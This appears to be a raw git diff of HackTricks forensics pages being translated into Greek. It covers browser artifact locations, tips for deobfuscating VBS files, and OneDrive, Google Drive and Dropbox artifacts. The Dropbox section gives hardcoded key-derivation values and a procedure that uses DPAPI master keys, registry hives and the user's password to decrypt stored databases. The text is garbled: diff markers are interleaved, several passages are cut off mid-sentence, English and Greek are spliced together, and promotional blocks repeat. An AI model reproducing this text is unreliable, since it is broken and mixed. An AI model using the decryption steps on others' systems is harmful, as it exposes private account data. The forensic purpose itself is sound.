- **History**: Περιέχει τις διευθύνσεις URL, τις λήψεις και τις λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί η ιστορία. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, πληκτρολογημένες διευθύνσεις URL, υποβολές φορμών και ανανεώσεις σελίδων.
|
||||
- **Cookies**: Αποθηκεύει τα cookies. Για επιθεώρηση, υπάρχει το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
||||
- **Cache**: Περιέχει τα αποθηκευμένα δεδομένα. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||
- **Bookmarks**: Οι σελιδοδείκτες του χρήστη.
|
||||
- **Web Data**: Περιέχει το ιστορικό των φορμών.
|
||||
- **Favicons**: Αποθηκεύει τα εικονίδια των ιστότοπων.
|
||||
- **Login Data**: Περιλαμβάνει τα διαπιστευτήρια σύνδεσης, όπως ονόματα χρηστών και κωδικούς πρόσβασης.
|
||||
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
|
||||
- **Last Session**/**Last Tabs**: Πληροφορίες για τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
|
||||
- **Extensions**: Φακέλους για πρόσθετα και επεκτάσεις του προγράμματος περιήγησης.
|
||||
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
|
||||
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, περιλαμβάνοντας ρυθμίσεις για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
|
||||
- **Ενσωματωμένη αντι-φισινγκ του προγράμματος περιήγησης**: Για να ελέγξετε αν η αντι-φισινγκ και η προστασία από κακόβουλο λογισμικό είναι ενεργοποιημένες, εκτελέστε την εντολή `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
|
||||
|
||||
## **Ανάκτηση Δεδομένων SQLite DB**
|
||||
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων SQLite για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management.
|
||||
|
||||
### Metadata Storage
|
||||
Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype.
|
||||
|
||||
### Cache Inspection
|
||||
The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times.
|
||||
|
||||
### Cookies Management
|
||||
Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory.
|
||||
|
||||
### Download Details
|
||||
Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Browsing History
|
||||
To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Typed URLs
|
||||
Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times.
|
||||
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are:
|
||||
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Safari data is stored at `/Users/$User/Library/Safari`. Key files include:
|
||||
|
||||
- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query.
|
||||
- **Downloads.plist**: Information about downloaded files.
|
||||
- **Bookmarks.plist**: Stores bookmarked URLs.
|
||||
- **TopSites.plist**: Most frequently visited sites.
|
||||
- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve.
|
||||
- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse.
|
||||
- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse.
|
||||
- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads.
|
||||
|
||||
- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`.
|
||||
|
||||
These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers.
|
||||
|
||||
|
||||
## References
|
||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώ
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,81 +1,82 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Some things that could be useful to debug/deobfuscate a malicious VBS file:
|
||||
Ορισμένα πράγματα που μπορεί να είναι χρήσιμα για να εντοπίσετε/αποκωδικοποιήσετε ένα κακόβουλο αρχείο VBS:
|
||||
|
||||
## echo
|
||||
|
||||
```bash
|
||||
Wscript.Echo "Like this?"
|
||||
```
|
||||
|
||||
## Commnets
|
||||
|
||||
## Σχόλια
|
||||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## Έλεγχος
|
||||
|
||||
## Test
|
||||
|
||||
Αυτό είναι ένα δοκιμαστικό κείμενο.
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## Εγγραφή δεδομένων σε ένα αρχείο
|
||||
|
||||
## Write data to a file
|
||||
Για να εγγράψετε δεδομένα σε ένα αρχείο, μπορείτε να χρησιμοποιήσετε την ακόλουθη μέθοδο:
|
||||
|
||||
```vbscript
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set objFile = objFSO.CreateTextFile("C:\path\to\file.txt", True)
|
||||
objFile.WriteLine "Αυτό είναι ένα παράδειγμα κειμένου που θα εγγραφεί στο αρχείο."
|
||||
objFile.Close
|
||||
```
|
||||
|
||||
Σε αυτό το παράδειγμα, ο κώδικας χρησιμοποιεί το αντικείμενο `FileSystemObject` για να δημιουργήσει ένα νέο αρχείο κειμένου στη διαδρομή "C:\path\to\file.txt". Το επιλεγμένο αρχείο θα ανοίξει για εγγραφή και θα γράψει το κείμενο "Αυτό είναι ένα παράδειγμα κειμένου που θα εγγραφεί στο αρχείο.". Τέλος, το αρχείο θα κλείσει.
|
||||
|
||||
Μπορείτε να προσαρμόσετε τον κώδικα ανάλογα με την επιθυμητή διαδρομή και το όνομα του αρχείου που θέλετε να δημιουργήσετε και να εγγράψετε τα δεδομένα σας.
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
' below lines purpose: checks that write access is possible!
|
||||
Dim oTxtStream
|
||||
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
On Error Resume Next
|
||||
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||
On Error GoTo 0
|
||||
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
Set oTxtStream = Nothing
|
||||
' end check of write access
|
||||
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
With oFSO.createTextFile(strPath)
|
||||
.Write(strBinary)
|
||||
.Close
|
||||
End With
|
||||
|
||||
End Function
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,138 +1,112 @@
|
|||
# Local Cloud Storage
|
||||
# Τοπική Αποθήκευση Νέφους
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
In Windows, you can find the OneDrive folder in `\Users\<username>\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files:
|
||||
Στα Windows, μπορείτε να βρείτε τον φάκελο του OneDrive στον δρόμο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στον φάκελο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` που περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
|
||||
|
||||
* Size in bytes
|
||||
* Creation date
|
||||
* Modification date
|
||||
* Number of files in the cloud
|
||||
* Number of files in the folder
|
||||
* **CID**: Unique ID of the OneDrive user
|
||||
* Report generation time
|
||||
* Size of the HD of the OS
|
||||
* Μέγεθος σε bytes
|
||||
* Ημερομηνία δημιουργίας
|
||||
* Ημερομηνία τροποποίησης
|
||||
* Αριθμός αρχείων στο νέφος
|
||||
* Αριθμός αρχείων στον φάκελο
|
||||
* **CID**: Μοναδικό αναγνωριστικό του χρήστη του OneDrive
|
||||
* Χρόνος δημιουργίας αναφοράς
|
||||
* Μέγεθος του σκληρού δίσκου του λειτουργικού συστήματος
|
||||
|
||||
Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\<CID>.ini**_ and _**\<CID>.dat**_ that may contain interesting information like the names of files synchronized with OneDrive.
|
||||
Αφού βρείτε το CID, συνίσταται να **αναζητήσετε αρχεία που περιέχουν αυτό το αναγνωριστικό**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
|
||||
|
||||
## Google Drive
|
||||
|
||||
In Windows, you can find the main Google Drive folder in `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5.
|
||||
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στον δρόμο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, τα ονόματα αρχείων, οι χρονοσφραγίδες, τα MD5 hashes των αρχείων, κλπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
|
||||
|
||||
The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files.
|
||||
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων.
|
||||
|
||||
The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version.
|
||||
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινόχρηστων φακέλων και την έκδοση του Google Drive.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox uses **SQLite databases** to manage the files. In this\
|
||||
You can find the databases in the folders:
|
||||
Η Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για τη διαχείριση των αρχείων. Σε αυτόν\
|
||||
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
|
||||
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
And the main databases are:
|
||||
Και οι κύριες βάσεις δεδομένων είναι:
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
However, the main information is:
|
||||
|
||||
* **Entropy**: d114a55212655f74bd772e37e64aee9b
|
||||
* **Salt**: 0D638C092E8B82FC452883F95F355B8E
|
||||
* **Algorithm**: PBKDF2
|
||||
* **Iterations**: 1066
|
||||
|
||||
Apart from that information, to decrypt the databases you still need:
|
||||
|
||||
* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary)
|
||||
* The **`SYSTEM`** and **`SECURITY`** hives
|
||||
* The **DPAPI master keys**: Which can be found in `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||
* The **username** and **password** of the Windows user
|
||||
|
||||
Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt.
|
||||
|
||||
The resulting hex is the final key used to encrypt the databases which can be decrypted with:
|
||||
|
||||
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Η βάση δεδομένων **`config.dbx`** περιέχει:
|
||||
|
||||
The **`config.dbx`** database contains:
|
||||
* **Email**: Το email του χρήστη
|
||||
* **usernamedisplayname**: Το όνομα του χρήστη
|
||||
* **dropbox\_path**: Η διαδρομή όπου βρίσκεται ο φάκελος του Dropbox
|
||||
* **Host\_id: Hash**: Χρησιμοποιείται για την πιστοποίηση στο cloud. Μπορεί να ανακληθεί μόνο από τον ιστό.
|
||||
* **Root\_ns**: Αναγνωριστικό χρήστη
|
||||
|
||||
* **Email**: The email of the user
|
||||
* **usernamedisplayname**: The name of the user
|
||||
* **dropbox\_path**: Path where the dropbox folder is located
|
||||
* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web.
|
||||
* **Root\_ns**: User identifier
|
||||
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις περισσότερες χρήσιμες πληροφορίες:
|
||||
|
||||
The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
|
||||
